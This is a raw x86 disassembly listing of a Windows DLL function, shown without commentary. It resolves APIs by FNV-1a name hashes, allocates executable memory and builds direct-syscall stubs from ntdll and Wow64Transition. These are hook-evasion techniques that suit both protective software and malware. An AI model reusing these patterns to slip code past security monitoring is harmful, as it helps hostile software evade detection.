lea eax, [ebp - 0xd5b]
push eax
lea ecx, [ebp - 0xd49]
mov dword [0x102b2f94], 0
push ecx
lea edx, [ebp - 0xd58]
mov dword [ebp - 0xd58], 0xb8
xorps xmm0, xmm0
mov dword [ebp - 0xd54], 0xba00
push edx
mov ecx, 0x102b2f8c
movq qword [0x102b2f8c], xmm0
mov dword [ebp - 0xd50], 0xd2ff0000
mov word [ebp - 0xd4c], 0xc2
mov byte [ebp - 0xd4a], 0
call fcn.10150a40
push 0x101c1820
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x2b
mov eax, dword [0x102b2fa8]
mov ecx, dword [0x102b22d8]
test ecx, ecx
jne 0x1016aa30
mov eax, dword [0x102b2fc4]
sub eax, dword [0x102b2fc0]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2fcc]
test eax, eax
jne 0x1016a578
push eax
push 8
mov dword [ebp - 0x6b8], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x6b8]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016a48f
lea eax, [ebp - 0x6b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016a48f
lea eax, [ebp - 0x698]
push eax
lea ecx, [ebp - 0x48]
call fcn.100400e0
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0xd7c]
push eax
lea ecx, [ebp - 0x48]
call fcn.10082650
lea ecx, [ebp - 0x48]
mov edi, dword [eax]
lea eax, [ebp - 0xd8c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x48]
mov esi, dword [eax]
lea eax, [ebp - 0xd88]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd84]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1016a4a9
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x6b8]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016a3e0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016a4da
xor eax, eax
jmp 0x1016a573
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x69c]
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x2b
jmp 0x1016a498
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016a4ed
xor eax, eax
jmp 0x1016a573
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016a551
nop word [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1016a54b
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016a520
jmp 0x1016a551
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016a560
xor eax, eax
jmp 0x1016a573
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2fcc], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0x102b22e0
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2fc4]
mov ecx, dword [0x102b2fc0]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1016a7bf
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x8dc], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x8dc]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016a6d0
lea eax, [ebp - 0x8dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016a6d0
nop dword [eax]
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0x60]
call fcn.100400e0
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0xd64]
push eax
lea ecx, [ebp - 0x60]
call fcn.10082650
lea ecx, [ebp - 0x60]
mov edi, dword [eax]
lea eax, [ebp - 0xd90]
push eax
call fcn.10082630
lea ecx, [ebp - 0x60]
mov esi, dword [eax]
lea eax, [ebp - 0xd94]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd98]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1016a6ea
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x8dc]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016a620
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016a71b
xor eax, eax
jmp 0x1016a7b4
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x8c0]
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x2b
jmp 0x1016a6d9
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016a72e
xor eax, eax
jmp 0x1016a7b4
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016a792
nop word [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1016a78c
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016a760
jmp 0x1016a792
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016a7a1
xor eax, eax
jmp 0x1016a7b4
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2fc0]
mov dword [0x102b1f10], eax
mov dword [ecx + 2], eax
push dword [ebp - 0x14]
push dword [0x102b2fc0]
push dword [0x102b22e0]
call fcn.10171890
mov eax, dword [0x102b2f90]
add esp, 0xc
sub eax, dword [0x102b2f8c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2fcc]
mov dword [ebp - 0x44c], 0
test eax, eax
jne 0x1016a9d8
push eax
push 8
mov dword [ebp - 0xb00], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xb00]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016a8f4
lea eax, [ebp - 0xb00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016a8f4
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0x78]
call fcn.100400e0
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0xd68]
push eax
lea ecx, [ebp - 0x78]
call fcn.10082650
lea ecx, [ebp - 0x78]
mov edi, dword [eax]
lea eax, [ebp - 0xd9c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x78]
mov esi, dword [eax]
lea eax, [ebp - 0xda0]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xda8]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x78]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1016a90e
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0xb00]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016a845
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016a93f
xor eax, eax
jmp 0x1016a9d3
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xae4]
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x2b
jmp 0x1016a8fd
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016a952
xor eax, eax
jmp 0x1016a9d3
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016a9b1
nop dword [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1016a9ab
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016a980
jmp 0x1016a9b1
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016a9c0
xor eax, eax
jmp 0x1016a9d3
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2fcc], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
lea ecx, [ebp - 0x44c]
push ecx
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2f90]
mov ecx, dword [0x102b2f8c]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b22e0]
mov dword [ecx + 6], eax
push dword [ebp - 0x14]
push dword [0x102b2f8c]
push dword [ebp - 0x44c]
call fcn.10171890
mov ecx, dword [ebp - 0x44c]
add esp, 0xc
mov eax, dword [0x102b2fa8]
mov dword [0x102b22d8], ecx
mov dword [0x102b2fd4], ecx
mov dword [ebp - 4], 0xffffffff
jmp 0x1016aa45
mov ecx, dword [0x102b2fd4]
test al, 2
jne 0x1016b069
or eax, 2
mov dword [0x102b2fa8], eax
mov dword [ebp - 4], 0x43
xorps xmm0, xmm0
push str.C:WindowsSysWOW64_ntdll.dll
lea ecx, [ebp - 0xa8]
movlpd qword [ebp - 0xd34], xmm0
call fcn.100400e0
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0xd6c]
push eax
lea ecx, [ebp - 0xa8]
call fcn.10082630
lea ecx, [ebp - 0xa8]
mov esi, dword [eax]
lea eax, [ebp - 0xda4]
push eax
call fcn.10082650
lea ecx, [ebp - 0xd59]
push ecx
push esi
push dword [eax]
lea ecx, [ebp - 0xc0]
call fcn.10150ca0
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x460], 0x10
call fcn.101253b0
mov edi, dword [sym.imp.WINTRUST.dll_WinVerifyTrust]
mov dword [ebp - 0x45c], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x47c], eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x458], 0
push eax
push 0
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x24], 0xaac56b
mov dword [ebp - 0x20], 0x11d0cd44
mov dword [ebp - 0x1c], 0xc000c28c
mov dword [ebp - 0x18], 0xee95c24f
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x494], 0x34
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 2
mov dword [ebp - 0x484], 0
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x468], 0
call edi
mov esi, eax
mov dword [ebp - 0x478], 2
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
call edi
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0xc0]
call fcn.10082670
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0xc0]
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0xa8]
call fcn.100403e0
mov byte [ebp - 4], 0x43
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xd78], eax
mov byte [ebp - 4], 0x43
test esi, esi
jne 0x1016b044
push 0xb8
lea eax, [ebp - 0x178]
push esi
push eax
call fcn.10171fe0
add esp, 0xc
lea ecx, [ebp - 0x178]
push 1
push 0x40
push 0x24
push str.C:WindowsSysWOW64_ntdll.dll
call fcn.1004d850
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0xdc4]
push eax
lea ecx, [ebp - 0x178]
call fcn.1013fbd0
push 0
push 0
push 0
mov esi, dword [eax + 8]
lea ecx, [ebp - 0x178]
add esi, dword [eax]
call fcn.1013fcf0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
movq qword [ebp - 0x30], xmm0
lea ecx, [ebp - 0x30]
push esi
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
call fcn.10150ee0
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x178]
push 0
push esi
push dword [ebp - 0x30]
call fcn.1013fe40
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x1016afee
mov eax, dword [ebp - 0x30]
mov ecx, 0x5a4d
mov dword [ebp - 0xd3c], eax
cmp word [eax], cx
je 0x1016acda
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016affa
mov edx, dword [eax + 0x3c]
add edx, eax
mov dword [ebp - 0xd38], edx
cmp dword [edx], 0x4550
je 0x1016ad08
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016affa
mov edi, dword [edx + 0x78]
test edi, edi
je 0x1016ad5e
movzx ecx, word [edx + 0x14]
add edx, 0x18
mov esi, dword [ebp - 0xd38]
add ecx, edx
xor edx, edx
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016ad4e
nop
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016ad46
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016ad4e
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016ad30
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov edx, dword [ebp - 0xd38]
add eax, edi
jmp 0x1016ad60
mov eax, edi
mov ecx, dword [ebp - 0xd3c]
add eax, ecx
mov dword [ebp - 0xd40], eax
mov edi, dword [eax + 0x20]
test edi, edi
je 0x1016adc4
movzx ecx, word [edx + 0x14]
xor esi, esi
movzx eax, word [edx + 6]
add ecx, 0x18
add ecx, edx
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016adb4
nop
mov edx, dword [ecx + 0xc]
cmp edi, edx
jb 0x1016ada6
mov eax, dword [ecx + 8]
add eax, edx
cmp edi, eax
jb 0x1016adae
mov eax, dword [ebp - 0xd30]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x1016ad90
mov edx, dword [ebp - 0xd38]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd3c]
add eax, edi
jmp 0x1016adc6
mov eax, edi
add eax, ecx
mov dword [ebp - 0x448], 0xffffffff
mov ecx, dword [ebp - 0xd40]
xor esi, esi
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0xd28], esi
cmp dword [ecx + 0x14], esi
jbe 0x1016ae83
nop
mov edi, dword [eax + esi*4]
test edi, edi
je 0x1016ae3e
movzx ecx, word [edx + 0x14]
xor esi, esi
movzx eax, word [edx + 6]
add ecx, 0x18
add ecx, edx
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016ae2e
mov edx, dword [ecx + 0xc]
cmp edi, edx
jb 0x1016ae26
mov eax, dword [ecx + 8]
add eax, edx
cmp edi, eax
jb 0x1016ae2e
mov eax, dword [ebp - 0xd30]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x1016ae10
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov esi, dword [ebp - 0xd28]
add eax, edi
jmp 0x1016ae40
xor eax, eax
mov ecx, dword [ebp - 0xd3c]
mov edx, 0x811c9dc5
add ecx, eax
call fcn.100644d0
cmp eax, 0x65ecaf30
je 0x1016ae7d
mov eax, dword [ebp - 0xd40]
inc esi
mov edx, dword [ebp - 0xd38]
mov dword [ebp - 0xd28], esi
cmp esi, dword [eax + 0x14]
mov eax, dword [ebp - 0xd2c]
jb 0x1016adf0
jmp 0x1016ae83
mov dword [ebp - 0x448], esi
mov eax, dword [ebp - 0xd40]
mov ecx, dword [ebp - 0x448]
cmp ecx, dword [eax + 0x14]
jbe 0x1016aeaf
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016affa
mov edi, dword [eax + 0x24]
test edi, edi
je 0x1016aefd
mov esi, dword [ebp - 0xd38]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016aef3
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016aeeb
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016aef3
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016aed5
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1016aeff
mov eax, edi
mov ecx, dword [ebp - 0xd3c]
add eax, ecx
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0xd40]
mov edi, dword [eax + 0x1c]
test edi, edi
je 0x1016af6e
mov esi, dword [ebp - 0xd38]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016af5e
nop dword [eax]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016af56
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016af5e
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016af40
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd3c]
add eax, edi
jmp 0x1016af70
mov eax, edi
mov edx, dword [ebp - 0x448]
add ecx, eax
mov eax, dword [ebp - 0xd2c]
movzx eax, word [eax + edx*2]
mov edi, dword [ecx + eax*4]
test edi, edi
je 0x1016afd0
mov esi, dword [ebp - 0xd38]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016afc6
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016afbe
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016afc6
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016afa8
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1016afd2
mov eax, edi
add eax, dword [ebp - 0xd3c]
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016affa
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x30]
call fcn.100583a0
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x108]
call fcn.10043d80
lea eax, [ebp - 0x108]
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x43
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1016e78d
add esp, 4
jmp 0x1016b050
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov dword [0x102b2fb0], esi
mov dword [0x102b2fb4], edi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [0x102b2fd4]
mov eax, dword [ecx + 6]
mov eax, dword [eax + 2]
mov dword [ebp - 0xd60], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1016b2c3
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0xd24], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xd24]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016b1d1
lea eax, [ebp - 0xd24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016b1d1
nop dword [eax]
nop dword [eax + eax]
lea eax, [ebp - 0xd04]
push eax
lea ecx, [ebp - 0x90]
call fcn.100400e0
mov dword [ebp - 4], 0x4f
lea eax, [ebp - 0xd70]
push eax
lea ecx, [ebp - 0x90]
call fcn.10082650
lea ecx, [ebp - 0x90]
mov edi, dword [eax]
lea eax, [ebp - 0xd78]
push eax
call fcn.10082630
lea ecx, [ebp - 0x90]
mov esi, dword [eax]
lea eax, [ebp - 0xd40]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd3c]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1016b1eb
mov dword [ebp - 4], 0x53
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0x448], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xd24]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016b100
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016b22b
xor eax, eax
jmp 0x1016b2b8
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xd08]
mov dword [ebp - 4], 0x50
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd30], eax
mov dword [ebp - 4], 0xffffffff
jmp 0x1016b1da
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016b23b
xor eax, eax
jmp 0x1016b2b8
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016b296
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1016b290
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016b264
jmp 0x1016b296
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016b2a5
xor eax, eax
jmp 0x1016b2b8
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2fd4]
mov dword [0x102b1f10], eax
cmp dword [ebp - 0xd60], eax
je 0x1016b2cf
xor ecx, ecx
jmp 0x1016b2e1
mov eax, dword [0x102b2fb0]
mov dword [ecx + 1], eax
movzx eax, word [0x102b2fb4]
mov dword [ecx + 0xd], eax
lea eax, [ebp - 0x444]
push eax
push dword [ebp - 0x450]
call ecx
mov eax, dword [0x102b2fd0]
mov dword [ebp - 0x394], 0x10168fd0
test al, 1
jne 0x1016badf
or eax, 1
mov dword [0x102b2fd0], eax
mov dword [ebp - 4], 0x56
mov ecx, dword [0x102b2fbc]
test cl, 1
jne 0x1016b391
or ecx, 1
mov dword [0x102b2fbc], ecx
mov byte [ebp - 4], 0x57
lea eax, [ebp - 0xd5a]
push eax
lea ecx, [ebp - 0xd42]
mov dword [0x102b2fc8], 0
push ecx
lea edx, [ebp - 0xd48]
mov dword [ebp - 0xd48], 0x25ff
xorps xmm0, xmm0
mov word [ebp - 0xd44], 0
push edx
mov ecx, 0x102b2fc0
movq qword [0x102b2fc0], xmm0
call fcn.10150a40
push 0x101c1830
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x56
mov ecx, dword [0x102b2fbc]
mov eax, dword [0x102b2fd0]
test cl, 2
jne 0x1016b41f
or ecx, 2
mov dword [0x102b2fbc], ecx
mov byte [ebp - 4], 0x58
lea eax, [ebp - 0xd5b]
push eax
lea ecx, [ebp - 0xd49]
mov dword [0x102b2f94], 0
push ecx
lea edx, [ebp - 0xd58]
mov dword [ebp - 0xd58], 0xb8
xorps xmm0, xmm0
mov dword [ebp - 0xd54], 0xba00
push edx
mov ecx, 0x102b2f8c
movq qword [0x102b2f8c], xmm0
mov dword [ebp - 0xd50], 0xd2ff0000
mov word [ebp - 0xd4c], 0xc2
mov byte [ebp - 0xd4a], 0
call fcn.10150a40
push 0x101c1820
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x56
mov eax, dword [0x102b2fd0]
mov ecx, dword [0x102b22d8]
test ecx, ecx
jne 0x1016bad0
mov eax, dword [0x102b2fc4]
sub eax, dword [0x102b2fc0]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2fcc]
test eax, eax
jne 0x1016b61b
push eax
push 8
mov dword [ebp - 0x6b8], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x6b8]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016b53f
lea eax, [ebp - 0x6b8]
push eax
push esi
